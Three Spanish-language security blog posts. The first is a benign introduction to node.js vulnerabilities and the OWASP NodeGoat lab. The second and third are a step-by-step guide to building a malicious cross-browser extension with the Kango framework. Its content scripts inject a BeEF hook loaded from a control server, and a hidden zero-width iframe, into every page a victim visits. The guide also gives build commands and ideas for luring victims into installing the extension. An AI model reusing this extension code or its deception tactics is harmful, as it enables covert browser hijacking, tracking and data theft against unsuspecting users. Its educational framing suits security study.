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Pentesting contra aplicaciones en node.js – Parte 1.

febrero 13, 2018 2 comentarios

En los últimos años nos encontramos con que las aplicaciones desarrolladas en node.js son cada vez más comunes en entornos empresariales y en Internet, lo que inicialmente se construyo como un prototipo para probar el funcionamiento de un modelo “event-loop” hoy en día se ha convertido en un lenguaje bastante popular que se ha hecho un hueco en el competitivo y controvertido mundo de las herramientas, lenguajes y plataformas para el desarrollo de aplicaciones. Node.js plantea una forma distinta de desarrollar plataformas web y por supuesto, también provee los medios necesarios para construir aquellos componentes de software que son comunes en otros lenguajes de programación, sin embargo, como cualquier otro lenguaje de programación, tiene sus limitaciones y en algunos casos es posible que no sea la mejor alternativa. Cuando queremos desarrollar algo, lo más importante y que nunca hay que perder de vista, es que las características funcionales de una aplicación pueden llevar más o menos tiempo dependiendo de cada lenguaje de programación y así como puede suponer más o menos esfuerzo, también es importante valorar el impacto de optar por un lenguaje de programación de cara al desempeño, la escalabilidad y por supuesto, la seguridad.

En este sentido y por lo que he podido ver cuando hablo con algunos desarrolladores de node.js que he conocido, estas premisas se olvidan completamente y se piensa que node.js “vale para todo”, aunque para ser justos, lo mismo me he encontrado con programadores de Java, Python, .Net, etc, etc, etc. Como diría Van Russom, cada lenguaje tiene su propio “Zen” y es importante conocerlo para saber si es la alternativa más adecuada para un problema concreto. Dicho esto, merece la pena recordar el modo de funcionamiento de node.js y el motivo por el cual es considerado un framework flexible, escalable y con buenos niveles de rendimiento, así como también, los motivos por los que no es una buena idea utilizarlo “para todo”.

Las principales características de Node.js son las siguientes:

– OpenSource, independiente de plataforma.

– Desarrollado sobre CJR v8 (Chrome JavaScript Runtime).

– Diseñado para ser rápido y escalable.

– Permite la ejecución de Javascript en el backend.

– El contexto de ejecución de CJR v8 es completamente diferente al contexto del navegador, dado que se ejecuta en el lado del servidor.

– Liviano y eficiente.

Por otro lado, utiliza un modelo de funcionamiento asíncrono basado en eventos y en la ejecución de funciones de “callback”. Se trata de un framework que ha sido pensado para ejecutar operaciones sobre un único hilo de ejecución, por este motivo nos encontramos con que el principal objetivo de node.js con su modelo “single-thread” es el de mejorar el desempeño y escalabilidad de aplicaciones web, ya no tenemos el modelo “one thread per requests” utilizado en las aplicaciones web tradicionales que se despliegan en servidores web como Apache, Ngnix, IIS, entre otros, estamos ante un modelo completamente distinto, enfocado al desarrollo de aplicaciones escalables, asíncronas y con un bajo consumo de recursos debido a que ahora, sobre el proceso servidor ya no se hace un “fork” para atender las peticiones de los clientes en procesos independientes, algo que es habitual en servidores web Apache.

Modelo “Event-loop model” vs “thread per requests”.

Un modelo “Event-Loop” es ideal para aplicaciones en donde la velocidad de respuesta de las peticiones es más importante que las operaciones I/O. p.e: Un proxy inverso/transparente. También, este modelo es remendable cuando se trata de aplicaciones web con un backend ligero, el cual realiza las operaciones de negocio de forma rápida y eficiente. Esto es importante ya que si el backend no cumple con este requerimiento se pueden producir cuellos de botella y afectar el rendimiento general de la aplicación. Un modelo “thread per requests” es más adecuado para procesamientos intensivos con con un número bajo de procesos concurrentes. p.e. Aplicaciones cuyas funciones realizan múltiples operaciones de negocio, conexiones a bases de datos u otros sistemas remotos, así como transacciones complejas que requieren tiempo de procesamiento. Dicho esto, dependiendo del tipo de aplicación un modelo puede ser más recomendable que el otro y en el caso de las aplicaciones node.js que utilizan el modelo “event-loop” es importante que el backend se encuentre lo más fino posible y que todas las operaciones de negocio se realicen de la forma más rápida posible. En el caso de aplicaciones desarrolladas con node.js es común encontrarnos con que es necesario desarrollar el componente “servidor”, típicamente utilizando el modulo “express” en entornos de desarrollo, además de la lógica propiamente dicha de la aplicación.

Dado que todo se ejecuta desde un único hilo de ejecución, la gestión inadecuada de excepciones puede interrumpir por completo el normal funcionamiento del servidor y por este motivo es recomendable tener rutinas de chequeo que se encarguen de verificar en todo momento el correcto funcionamiento del servidor y la disponibilidad del proceso en el sistema.
Como se puede apreciar, es necesario pensar de una forma diferente cuando se trata de aplicaciones que siguen el modelo que implementa node.js y ante todo, tener muy claro que como cualquier otra herramienta o tecnología, sirve para resolver un problema concreto y debe evitarse su uso siguiendo únicamente el criterio “de la moda”, es decir, utilizar node.js porque es lo que se lleva hoy en día. Como cualquier lenguaje de programación, tiene su propia filosofía, su propio “Zen” y es recomendable conocer sus características más relevantes de cada lenguaje con el fin de utilizar la tecnología adecuada para resolver un problema concreto.

OWASP Top 10 y Node.js

Node.js es una tecnología para el mundo web, para el mundo del “http”, por éste motivo todas las amenazas descritas en el OWASP Top 10 aplican igualmente a las aplicaciones basadas en node.js. Nos encontramos con los mismos problemas que afectan a las aplicaciones escritas en los lenguajes más utilizados/tradicionales en Internet como PHP, JSP/JSF/J2EE, ASP.NET, ColdFusion, etc, etc. Desde problemas típicos de Inyección (SQLi, LDAPi, XSS, etc) hasta problemas de fugas de información o ejecución remota de código. No obstante, en el caso de Node.js existen algunas amenazas adicionales que no están incluidas en el OWASP Top 10 y suelen ser bastante comunes en aplicaciones de éste tipo. A continuación se enumeran rápidamente algunas de ellas.

Global Namespace Pollution

Se trata de un problema que tiene relación directa con la calidad del código y buenas prácticas de desarrollo. Tal como se ha explicado anteriormente, el componente “servidor” en una aplicación en Node.js debe ser desarrollado utilizando alguno de los módulos disponibles en el lenguaje, siendo “express” el más común. Dado que se trata de una tarea que deben realizar los desarrolladores, en ocasiones en éste componente “servidor” se incluyen variables y rutinas de código que tienen relación directa con el funcionamiento de la aplicación. Hay que tener en cuenta que cuando se definen éste tipo de elementos (variables o funciones) en el componente servidor de la aplicación node.js, se convierten en elementos globales de toda la aplicación, es decir, que los valores almacenados en las variables y el resultado de la ejecución de las funciones en dicho contexto afecta a todos los usuarios de la aplicación. Por ejemplo, si en el componente servidor se almacena crea una variable de cualquier tipo, el valor de dicha variable puede ser alterado por cualquier cliente de la aplicación y dicha modificación va a ser visible por el resto de clientes que intenten acceder a dicho valor. En la mayoría de lenguajes de programación nos encontramos con 3 contextos para el almacenamiento de valores entre peticiones HTTP, dichos contextos serían “request”, “session” y “application”, siendo éste último el más amplio de todos y el que más se asemeja a los “Global Namespaces” en Node.js

HTTP Parameter Pollution

En la mayoría de plataformas web existen mecanismos estándar para controlar la forma en la que se procesarán los parámetros duplicados (servidorweb/pagina?id=20&id=10&id=pepe&id=abcde), en algunos casos el lenguaje se quedará con el valor de la primera ocurrencia del parámetro o con el último, en algunos casos está característica es incluso configurable, sin embargo en el caso de node.js no se excluye ningún parámetro y si un parámetro se repite varias veces en la misma petición, cuando se intente recuperar el valor del parámetro en cuestión desde la aplicación, node.js se encargará de devolver un “array” con cada una de las ocurrencias del parámetro en cuestión. Esta es una característica del lenguaje y hay que tener en cuenta, ya que casi siempre cuando se desarrolla una aplicación web, se espera recibir un parámetro con un tipo de dato concreto (típicamente una cadena) pero dado que node.js se encarga de envolver todas las ocurrencias de un mismo parámetro en un array, el comportamiento de la aplicación puede ser muy diferente al esperado y en la mayoría de casos se puede producir una excepción no controlada, que tal como se ha mencionado anteriormente, puede generar una condición de denegación de servicio en el servicio.

Uso inseguro de funciones que permiten inyección de código.

Como en muchos otros lenguajes de programación, en node.js existen funciones que permiten la validación de tipos de datos concretos, no hay que olvidar que node.js es un lenguaje de scripting no tipado, lo que significa que, a diferencia de otros lenguajes de programación con tipado fuerte, el tipo de una variable es implícito al valor que se le asigna. Esto quiere decir que si se le asigna una cadena a una variable, el tipo de dicha variable será “str” y si más adelante durante la ejecución del programa, se le asigna una valor entero, el tipo de dato de dicha variable será desde ese momento un “int”. La función “eval” es precisamente una de las funciones más conocidas y utilizadas en node.js para validar tipos de datos en variables e instrucciones de código, lo que significa que la función “eval” lo que hace por debajo es ejecutar las instrucciones enviadas por parámetro de la función, lo que en algunos casos puede producir problemas de inyección de código arbitrario si los valores enviados a “eval” provienen de una petición por parte del cliente y no se validan correctamente. Esta es solamente una de las posibilidades a la hora de inyectar código en una aplicación node.js, sin embargo como se verá en otro post de ésta serie, existen varias formas de hacer lo mismo y en todos los casos, son producidas por malas prácticas de desarrollo o simplemente por desconocimiento.

Regex DoS

El uso de las expresiones regulares es bastante habitual a la hora de validar patrones y se utilizan
con bastante frecuencia a la hora de comprobar los valores ingresados por un usuario en formularios web. Por ejemplo, se pueden utilizar expresiones regulares para validar un correo electrónico, un DNI, número de teléfono o cualquier otro campo que siga un patrón fijo. Aunque se trata de elementos muy potentes, se caracterizan por ser de alto consumo en términos de recursos y tiempo de procesamiento y pueden ser especialmente perjudiciales para el correcto funcionamiento de una aplicación cuando las expresiones aplicadas no se encuentran bien definidas. Es posible que dichas expresiones funcionen correctamente, pero debido a la forma en la que se encuentran declaradas consuman más tiempo y recursos de lo que deberían. En el caso de node.js y especialmente en cualquier plataforma que siga el modelo “event-loop” con un único proceso asociado al servidor, es posible encontrarse con un cuello de botella considerable, lo que al final termina por provocar una condición de denegación de servicio.

NodeGoat de OWASP para pentesting contra node.js

Ahora que se ha explicado a grandes rasgos las principales vulnerabilidades que pueden afectar a una aplicación escrita en node.js, es el momento de llevar todo ésto a la práctica y qué mejor forma de hacerlo que por medio de una aplicación web vulnerable por diseño. Del mismo modo que existen aplicaciones de éste tipo para lenguajes como Java, PHP, .Net, entre otros, en el caso de node.js existe el proyecto NodeGoat de OWASP, el cual se encuentra disponible en el siguiente repositorio de github: https://github.com/OWASP/NodeGoat

Su instalación es muy simple, basta con descargar el proyecto del repositorio con “git clone https://github.com/OWASP/NodeGoat” y posteriormente realizar la instalación de todos módulos necesarios para que la aplicación pueda arrancar. Dichos módulos se instalan rápidamente con el comando “npm install”. Evidentemente es necesario tener node.js instalado en el sistema, en el caso de sistemas basados en Debian, es tan sencillo como ejecutar el comando “apt-get install nodejs”. Una vez instalados todos los módulos de la aplicación, es necesario configurar la base de datos MongoDB, que tal como se indica en el README del proyecto, es posible tirar de una instancia de MongoDB en local o crear una cuenta en MongoLab (https://mlab.com/) y crear una base de datos en dicho servicio, el cual puede tiene un plan gratuito que más que suficiente para trabajar con NodeGoat. Es necesario editar el fichero “<NODEGOAT_DIR/config/env/development.js” y establecer la ruta de conexión con la base de datos que se ha creado en MongoLab o la instancia que se encuentra en ejecución en local, según sea el caso. Antes de iniciar la aplicación, se debe ejecutar el comando “npm run db:seed” para crear toda la estructura de de colecciones en la base de datos, la cual evidentemente es utilizada por NodeGoat. Finalmente, el comando “npm start” se debe ejecutar desde el directorio de NodeGoat y con esto, la aplicación estará preparada para ser utilizada en el puerto 4000. Para poder iniciar sesión en la aplicación, los usuarios se encuentran disponibles en la colección “users” de la base de datos y también se pueden ver en el fichero “README” del proyecto.

Esto ha sido una breve introducción al funcionamiento de node.js y algunos de los problemas de seguridad que se pueden dar por el uso inadecuado de ésta tecnología. En los próximos post se explicará mucho más en detalle y con ejemplos prácticos aquellas cuestiones a tener en cuenta a la hora de hacer un pentest contra aplicaciones web desarrolladas en node.js

Un saludo y happy hack!
Adastra.

Ataques MITB persistentes “cross-browser” con Kangoo Framework – Parte 2.

abril 12, 2017 Deja un comentario

Partiendo de lo visto en la entrada anterior, es el momento de comenzar a pensar en qué alternativas se encuentran disponibles de cara a un atacante a la hora de incluir rutinas maliciosas sobre la extensión desarrollada. En este sentido, pueden haber muchas rutinas basadas en Javascript que se podrían incluir directamente en el código de la extensión, las cuales se podrían encargar de extraer información o utilizar el navegador web como “pivote” para realizar peticiones contra otros sitios web en Internet obviamente sin el consentimiento del usuario. Como se ha visto antes, para crear dichas rutinas en Kangoo contamos con 2 alternativas posibles: Background y Content scripts. Vamos a ver cuál puede ser la mejor forma para crear la extensión con rutinas maliciosas a lo largo de éste post, sin embargo, antes de ello hay que pensar en el payload que se quiere distribuir en la extensión, qué operaciones debe ejecutar dicho payload sobre el navegador web y por supuesto, intentar que dichas operaciones tengan el mayor impacto posible sobre la “víctima”. Pueden haber varias opciones para cumplir con dicho objetivo, sin embargo, para éste caso concreto, vamos a centrarnos en el uso de una herramienta de la que ya se ha hablado anteriormente en éste blog y que tiene una potencia que pocas herramientas enfocadas a los ataques “client-side” disponen actualmente, estamos hablado de BeEF. Como se ha comentado en la serie de artículos en los que se ha hablado de BeEF (concretamente aquí, aquí,  y aquí) el funcionamiento de ésta herramienta se basa en la distribución de un “hook” que contiene una serie de instrucciones que permiten establecer un canal de comunicación directo con un panel de control central, en donde es posible gestionar todas las víctimas (en la terminología de BeEF conocidas como “Zombies”) y posteriormente, ejecutar sobre cada una múltiples comandos que permiten utilizar al “zombie” como un pivote para ejecutar ataques a otros sistemas o extraer información del navegador de la víctima. Aunque BeEF es una herramienta que se encuentra desarrollada en Ruby, el “hook” se basa en Javascript, ya que evidentemente contiene todas las instrucciones que se deben de ejecutar en el lado del cliente. Cuando se levanta BeEF se puede ver que además de indicar la ruta donde se encuentra el hook, también inicia la interfaz web desde donde se podrán controlar todos los navegadores que ejecuten el hook.

Ahora que se encuentra levantada la instancia de BeEF y tenemos un “hook” resulta evidente que partiendo de lo visto en la entrada anterior, es necesario que la extensión se encargue de descargar el hook del servidor de BeEF y posteriormente sea ejecutado directamente en el navegador en donde se ha instalado la extensión. Como se ha visto antes, para desarrollar la lógica de la extensión, las principales alternativas disponibles son “background scripts” y “content scripts”, los cuales permiten el uso completo de la API de Kangoo pero tal como se ha explicado en la entrada anterior, su contexto de ejecución es distinto. A continuación vamos a analizar ambas alternativas detalladamente a la hora de cargar el “hook” y ver cuál puede ser la más efectiva.

Cargar el Hook de BeEF en un Background Script

En el fichero “main.js” se encuentran las instrucciones que se ejecutarán como un “background script”, se trata de instrucciones que son independientes de las páginas cargadas por el usuario y se ejecutan directamente en el contexto del navegador. El Hook de BeEF está compuesto por instrucciones Javascript que se deben ejecutar por el cliente (navegador) para que todo funcione según lo esperado y aunque lo más habitual es cargar dicho hook en una página con alguna vulnerabilidad del tipo XSS, Content Spoofing o similar, en este caso concreto es posible descargarlo desde el servidor de BeEF e incluir el fichero JS directamente en la extensión como si se tratase de cualquier otro background script. En tal caso, lo único que haría falta seria editar el fichero “extension_info.js” e incluir el hook para que el navegador se encargue de ejecutarlo en el momento en el que la extensión se encuentre cargada y habilitada en el navegador. Es un enfoque sencillo y en apariencia requiere muy poco esfuerzo, aunque como se verá a continuación no es el más adecuado para nuestros propósitos. El contenido del fichero “extension_info.js” únicamente cambiará en la sección “background_scripts”

"background_scripts": [ 
        "main.js",
        "hook.js"
    ]

Del mismo modo que el fichero “main.js” se encuentra bajo el directorio “src/common”, el fichero “hook.js” de BeEF debe encontrarse también en la misma ubicación. Dado que no es necesario realizar ninguna modificación adicional para realizar ésta prueba de concepto, a continuación se procede a construir nuevamente la extensión tal y como se ha visto en la entrada anterior y posteriormente, se procede a instalarla en el navegador web y ….

La extensión se carga correctamente y el hook llega a ejecutarse sobre un navegador web Firefox, pero no funciona igual sobre un navegador web como Chrome debido a las medidas de seguridad que impone dicho navegador sobre elementos potencialmente peligrosos. En ambos casos, es posible apreciar que la extensión carga el fichero “hook,js” de BeEF pero solamente llega a establecerse correctamente la conexión cuando se utiliza un navegador web Firefox. Dicho esto, utilizar Background Scripts no parece ser la alternativa más viable, pero aún nos queda la otra opción: Content Scripts.

Cargar el Hook de BeEF en un Content Script

Los Content Scripts son rutinas muy potentes ya que permiten acceder a cada uno de los sitios que un usuario visita mientras que la extensión se encuentra activa. Evidentemente, este tipo de rutinas pueden ser utilizadas para realizar actividades de seguimiento y tracking sobre los contenidos que visualiza el usuario navegando por Internet. Navegadores web como Firefox tienen un mecanismo muy robusto basado en firmas para impedir que cualquier extensión sea instalada por el usuario, únicamente permite la instalación de extensiones firmadas y verificadas por Mozilla, algo que es de agradecer ya que de esta forma la “superficie de ataque” se reduce bastante e impide que un usuario instale en su navegador una extensión potencialmente dañina, aunque como se ha visto en la entrada anterior, éste comportamiento por defecto se puede modificar simplemente alterando cambiando la configuración del navegador web. Los Content Scripts están diseñados precisamente para realizar diferentes tipos de operaciones sobre cada uno de los sitios visitados por los usuarios, siendo lo suficientemente flexibles como para declarar reglas en base a los sitios web visitados y también, tal como se ha visto en la entrada anterior, es posible manipular el árbol DOM de cada sitio web.
Con esto debería ser suficiente para manipular la estructura de las páginas web visitadas por las víctimas y crear de forma dinámica, un elemento “script” que se encargará de cargar el hook de BeEF. Ahora, para poner en marcha lo explicado antes, vamos a proceder a modificar el fichero “content.js” de la extensión desarrollada anteriormente con el siguiente contenido:

// ==UserScript== 
// @name THW Frame 
// @include http://*
// @include https://* 
// @require jquery-1.9.1.min.js 
// ==/UserScript== 
var frame =$(document.createElement('script')).attr({ 
    src:'http://127.0.0.1:3000/hook.js', 
    type:'text/javascript' 
}).appendTo(document.body);

Lo anterior, como una prueba de concepto básica ésta bien, pero evidentemente es conveniente ajustar las reglas de “include” a únicamente aquellos dominios que puedan resultar interesantes y también, realizar pruebas en un entorno diferente al local, por ejemplo, un VPS o similar, sin embargo sobre éste último punto se hablará con mayor detalle en una próxima entrada.

Como se puede apreciar, en este caso cada una de las páginas visitadas por el usuario será modificada por la extensión y en el árbol DOM de cada página, se creará un nuevo elemento “script” que apuntará a las rutinas del hook de BeEF para llevar a cabo el ataque “client-side”.

Con estás pequeñas modificaciones, ahora solamente es necesario volver a construir la extensión y desplegarla en el navegador web, evidentemente BeEF se debe encontrar levantado para aceptar las conexiones realizadas por parte de la víctima. Desde el directorio de Kangoo ejecutar:

python kango.py build THWExtension/
[ INFO] Contact extensions@kangoextensions.com to enable IE support
[ INFO] Running Kango v1.8.0
[ INFO] Building chrome extension…
[ INFO] Building firefox extension…
[ INFO] Building safari extension…

Ahora, con la extensión generada se debe proceder a instalarla directamente en el navegador web.

A continuación, navegar por cualquier sitio web en Internet, en el caso de la imagen de abajo, se puede ver que el usuario ha navegado por el sitio web de youtube y es precisamente lo que se enseñará en la sección de “Hooked Browsers” de BeEF.

Como se puede ver en la imagen anterior, la estructura de la página ha cambiado y aunque su comportamiento es el mismo, se ha incrustado un nuevo elemento “script” que es el que permite realizar las conexiones desde el navegador hacia el servidor de BeEF, de hecho, tal como se puede apreciar en la siguiente imagen, las peticiones realizadas por el hook son constantes, con el fin de enviar peticiones del tipo “keep-alive” al servidor e indicarle que el navegador aún se encuentra infectado.

Finalmente, desde el servidor de BeEF es posible realizar diferentes tipos de ataques del tipo client-side tal como se ha enseñado en otras entradas de éste blog, además, dado que no se han declarado reglas de filtrado sobre los dominios a consultar, todas las páginas que visite el usuario se van a ver alteradas, aunque como comentaré en otra entrada, a veces pueden haber problemas debido a las políticas de seguridad establecidas en el navegador web, como por ejemplo CSP (Content Security Policy).

 

En éstas dos entradas se ha explicado cómo desarrollar una extensión maliciosa, pero no deja de ser simplemente una prueba de concepto de la que podrían resultar ataques mucho más estructurados y elaborados. En un siguiente artículo, vamos a ir un paso más adelante y se intentará explicar cómo se puede llevar a cabo ésta misma PoC desde Internet de una forma un poco más “profesional” y sobre todo, conservando el anonimato del panel de control de BeEF, básicamente lo mismo que haría cualquier atacante en Internet.

Un saludo y Happy Hack!
Adastra.

Ataques MITB persistentes “cross-browser” con Kangoo Framework – Parte 1.

abril 10, 2017 1 comentario

Uno de los grandes inconvenientes de los ataques del tipo “client-side” es que dependen en gran medida de la interacción del cliente (navegador) y su configuración. Es posible crear un hook en un lenguaje como Javascript para ejecutar rutinas maliciosas en el lado del cliente y comprometer su sistema, es una técnica en la que se basan herramientas tan interesantes y potentes como BeEF, sin embargo, en el momento en el que el navegador o la pestaña donde se está ejecutando el hook se cierra, los recursos utilizados por el hook incluyendo las conexiones que pudiera tener abiertas con el atacante se pierden. Es algo difícil de manejar desde el lado del atacante y aunque el hook se encuentre muy bien desarrollado, es importante mantener viva la interacción del cliente con la página que contiene las rutinas maliciosas, algo que no siempre es posible por innumerables razones. Por este motivo, buscar una forma persistente, o al menos, que permita que las conexiones entre la víctima y el atacante sean lo más estables posibles, es uno de los principales objetivos en éste tipo de vectores de ataque. Una buena forma, consiste en “engañar” a la víctima y hacer que instale una extensión maliciosa en su navegador, la cual se va a encontrar en ejecución de forma constante, siempre y cuando dicha extensión se encuentre activa en el navegador, por supuesto. Evidentemente, para que la extensión en cuestión sea interesante para el mayor número de “víctimas” potenciales, debe ofrecer algo que el cliente quiera tener en su navegador, que le aporte algo significativo y útil para las actividades que desempeña, ya sea ocio, trabajo o cualquier otra cosa. Algunas ideas que se me ocurren, podrían ser:

– Extensión que permita programar alertas ante diferentes tipos de eventos sobre múltiples redes sociales.

– Extensión que permita gestionar varios perfiles de redes VPN y permita conectarse a una o varias de ellas.

– Extensión para detectar y bloquear páginas con scripts maliciosos (la vida está llena de ironías).

– Extensión que permita almacenar localmente las páginas visitadas dependiendo de las reglas indicadas por el usuario.

– Extensión para gestionar de forma ordenada, estructurada, categorizada y utilizando técnicas de machine learning, todo el p0rn que el usuario visualiza y descarga diariamente desde su navegador. Ojo, esto puede ser una idea de negocio y dado el volumen de datos manejar, es posible que sea necesaria una solución de big data. Millones de “víctimas” potenciales. (Es broma, o no…)

Cualquier idea que se os ocurra es aplicable, no obstante, al margen de la funcionalidad que deberá contemplar la extensión, es importante decidir cómo se debe desarrollar, sobre qué navegadores debe ser compatible, cuál será el medio de distribución y qué rutinas “maliciosas” debe ejecutar. En este post simplemente nos vamos a centrar en el primer punto y cómo, utilizando el Framework Kangoo, es posible desarrollar extensiones compatibles con los navegadores más utilizados actualmente, tales como Firefox, Chrome o IE.

¿Qué es Kangoo y cómo funciona?

Kangoo es un framework desarrollado en Python que permite crear extensiones rápida y facilmente, las cuales son compatibles en diferentes navegadores web. Dichas extensiones son desarrolladas utilizando la API disponible en Kangoo y que permite incluir rutinas en Javascript o incluso, cargar scripts de forma remota, algo que desde luego puede ser explotado por un atacante para incluir en la extensión un script con Javascript que permita llevar a cabo un ataque “client-site”, aunque evidentemente en tal caso es necesario tener en cuenta las restricciones de seguridad que impone el navegador web.

En este caso concreto y partiendo de los ejemplos suministrados en el proyecto, se va a crear una extensión sencilla que se desplegará en un navegador web Chrome, así que vamos a ello.

En primer lugar, es necesario instalar Kangoo, que como se ha dicho anteriormente es un proyecto basado en Python y para hacerlo, basta simplemente con seguir los siguientes pasos:

1. Descargar la última versión disponible del sitio web oficial de Kango: http://kangoextensions.com/kango.html

2. A continuación, se debe descomprimir el paquete descargado en cualquier directorio y comenzar a crear proyectos.

2.1 Desde hace algún tiempo el link de descarga no funciona correctamente, si os da un 404 al intentar descargar el ZIP del proyecto, recordar que podéis utilizar “la máquina del tiempo”: http://archive.org/web/ y navegar a un snapshot previo. Los de el 2017 no funcionan correctamente, así que ir a los últimos del 2016.

3. Dentro del directorio de Kangoo se encuentra el script “kango.py” el cual permite la creación y gestión de proyectos.

4. Crear el proyecto con el siguiente comando:

python kango.py create “THWExtension”

[ INFO] Contact extensions@kangoextensions.com to enable IE support

[ INFO] Running Kango v1.8.0

Input project name: THWExtension

[ INFO] Creating project…

[ INFO] Project created in directory /THW/THWBlog/kango-framework-latest/THWExtension

5. Ahora que el proyecto ya se encuentra creado es el momento de verificar los directorios y ficheros que ha creado y entender para qué sirven.

En primer lugar, en el directorio THWExtension/src se encuentra todo el código de la extensión y es en donde hay que empezar a meter cosas. Vamos a encontrarnos con los siguientes directorios dentro de “src”:

“chrome”, “common”, “firefox”, “ie”, “safari”.

Evidentemente cada uno corresponde a elementos muy concretos de cada uno de dichos navegadores web, sin embargo la forma en la que funciona Kangoo nos permite desarrollar componentes “cross browser” que pueden funcionar en los navegadores soportados por el framework.

En el directorio “src/common“existen dos ficheros llamados “main.js” y “extension_info.js“, siendo éste último el que permite establecer los detalles básicos de la extensión creada anteriormente, incluyendo cosas tan importantes como el listado de “content_scripts” y “background_scripts“, así como detalles visuales de la extensión como el icono.

En el fichero “main.js” de la configuración por defecto creada para el proyecto, se incluyen las instrucciones básicas que ejecutará la extensión cuando el navegador la cargue en el contexto correspondiente, con lo cual es el punto en donde se deben incluir las instrucciones “core” de la extensión y es probablemente que sea el mejor punto para comenzar a incluir instrucciones que puedan ser maliciosas, algo que se verá en la siguiente entrada.

Aunque la configuración por defecto solamente crea un “background script” definido en el fichero “main.js“, una de las cuestiones más importantes en Kangoo Framework, es que es posible crear “background scripts” para las operaciones core de la extensión y “content scripts” para acceder al contexto de las páginas web visitadas por el usuario, accediendo a todo el DOM de la página y a su información, algo que desde luego puede ser muy interesante de cara a la creación de una extensión que realice cualquier tipo de rutina maliciosa. Los “content scripts” no solamente permiten acceder la estructura DOM de las páginas, también permite alterar dicha estructura, de tal forma que es posible controlar el comportamiento visual de los componentes enseñados por cualquier sitio web, permitiendo por ejemplo, incrustar un “iframe” oculto que se encargue de descargar un script malicioso. ¿Veis por donde van los tiros? 😉

Primera extensión (muy, pero que muy básica) utilizando Kangoo.

Después de crear el proyecto, el siguiente paso consiste en comenzar a incluir instrucciones en los scripts que harán parte de la extensión. Para ello, es necesario conocer los elementos de la API de Kangoo, la cual se encuentra basada en Javascript nos permite tener un total control sobre las cosas que se pueden y no se pueden hacer en la extensión. En primer lugar, es necesario ajustar los contenidos del fichero “src/common/extension_info.js”, ya que dicho fichero es el que realmente nos permite configurar nuestra extensión. El siguiente contenido puede valer para lo que nos interesa en éste punto.

{ 
    "content_scripts": [“content.js”], 
    "description": "THW Labs extension", 
    "creator": "Adastra", 
    "background_scripts": [ 
        "main.js" 
    ], 
    "homepage_url": "https://thehackerway.com/",
    "version": "0.1", 
    "browser_button": { 
        "caption": "THW Extension", 
        "icon": "icons/thw.png", 
        "tooltipText": "Make THW Blog great again"
    }, 
    "name": "THWExtension" 
} 

Como se puede apreciar, la parte más importante del fichero se encuentra en la definición de los “content_scripts” y “backgroud_scripts”, además, también es importante apreciar que el atributo “icon” de la estructura “browser_button” apunta a un fichero que se debe encontrar en el directorio “src/common/icons”. Con está configuración básica nos podemos centrar en incluir las instrucciones de los background y content scripts.

Background script

Como se ha comentado anteriormente, en los scripts de background se incluyen todas aquellas instrucciones que permiten controlar la extensión y cualquier otro detalle que hace parte de las funcionalidades propias de la extensión. Aquí se puede utilizar Kangoo en su máxima expresión, ya que es posible hacer uso de la API completa, la cual se encuentra documentada en el siguiente enlace: http://kangoextensions.com/docs/index.html

Ahora bien, las instrucciones básicas que contendrá nuestro primer background script serán las siguientes:

function THWExtension() { 
    var self = this; 
  kango.ui.browserButton.addEventListener(kango.ui.browserButton.event.COMMAND,
function() { 
        self.loadPage(); 
    }); 
} 
THWExtension.prototype = { 
    loadPage: function() { 
        kango.browser.tabs.create({url:'https://thehackerway.com/'}); 
    } 
}; 
var extension = new THWExtension(); 

Como se puede ver, lo primero que se define es una función que contiene la lógica de la extensión, la cual, en éste caso, se encarga simplemente de invocar a la función “loadPage” únicamente en el caso de que se produzca un evento sobre el botón de la extensión, es decir, cuando un usuario pinche sobre él. En éste caso se utiliza el objeto “kango.ui.browserButton” para vincular el evento correspondiente a la interacción del usuario con el botón de la extensión. Luego, se declara el prototipo de la función principal y en él, se incluye la función que se invocará ante el evento descrito anteriormente. La función invocada (“loadPage”) se encarga simplemente de utilizar la API de Kangoo para crear una nueva pestaña en el navegador y abrir en ella la url indicada en el parámetro “url”. Se trata de una extensión sencilla y en la que se puede apreciar la filosofía que se debe aplicar cuando se crean background scripts con Kangoo.

Content script

Si bien es cierto que se trata de un tipo de script bastante interesante, no suele ser utilizado muy a menudo, excepto claro está, para realizar operaciones muy concretas. En este caso, se va a crear un content script que simplemente se encargará de incluir un “iframe” en el árbol DOM de cada una de las páginas visitadas por el usuario, ni más ni me nos que eso. Algo sencillo y sin aplicar ningún tipo de filtro, absolutamente todas las páginas visitadas por parte del usuario serán procesadas por el content script e insertará en ellas el mismo “iframe”, evidentemente para que esto funcione, es necesario que la extensión se encuentre cargada y activa en el navegador web. El contenido del fichero “src/common/content.js” puede ser como el que sigue:

// ==UserScript== 
// @name THW Frame 
// @include http://* 
// @include https://* 
// @require jquery-1.9.1.min.js 
// ==/UserScript== 
var frame = $(document.createElement('iframe')).attr({ 
    src: 'https://thehackerway.com', 
    width: 0 
}).appendTo(document.body); 

El content script es sencillo, en primer lugar las primeras instrucciones indican que se deben procesar absolutamente todos los dominios visitados desde el navegador web, ya sea por HTTP o por HTTPS. En el caso de querer excluir algún dominio concreto, simplemente basta con utilizar la etiqueta @exclude e indicar el dominio o patrón/expresión regular. También, como se puede apreciar, la etiqueta @require indica que se debe incluir el fichero “jquery-1.9.1.min.js” en la ejecución del content script. Posteriormente, se utiliza jquery para acceder a la estructura DOM de cada uno de los sitios web visitados desde el navegador web y se crea un “iframe” cuyo “src” apunta a https://thehackerway.com y además, el width a “0” indica que el script no va a ser visible de cara al usuario. Dicho elemento se inserta directamente en el arbol DOM de la página web visitada gracias a la función “appendTo”.
Se trata de un script sencillo y que puede hacer bastante daño como resulta evidente. Ahora vamos a ver cómo se construye y despliega la extensión en el navegador web.

Construcción y despliegue.

Con todos los elementos preparados, es el momento de construir la extensión. Es algo muy sencillo, basta con ejecutar el siguiente comando desde el directorio raíz de Kangoo (donde se ha instalado).

python kango.py build THWExtension

[ INFO] Contact extensions@kangoextensions.com to enable IE support

[ INFO] Running Kango v1.8.0

[ INFO] Building chrome extension…

[ INFO] Building firefox extension…

[ INFO] Building safari extension…
Con esto se genera el directorio “THWExtension/output” el cual contiene la extensión empaquetada y lista para ser desplegada. Hay que tener en cuenta varias cosas:

1. Los errores de construcción que arroja Kangoo en ocasiones suelen ser poco descriptivos, es importante asegurarse de que el fichero “extension_info.json” es correcto y que cada uno de los ficheros se encuentra ubicado donde debe de estar.

2. En el caso de que la imagen para el botón de la extensión no se encuentre en el directorio “src/common/icons” Kangoo lanzará un error que indica que no se ha podido abrir un fichero o directorio, concretamente lanzará la siguiente excepción:

IOError: [Errno 2] No such file or directory: ‘/THW/THWBlog/kango-framework-latest/THWExtension/output/chrome.crx’

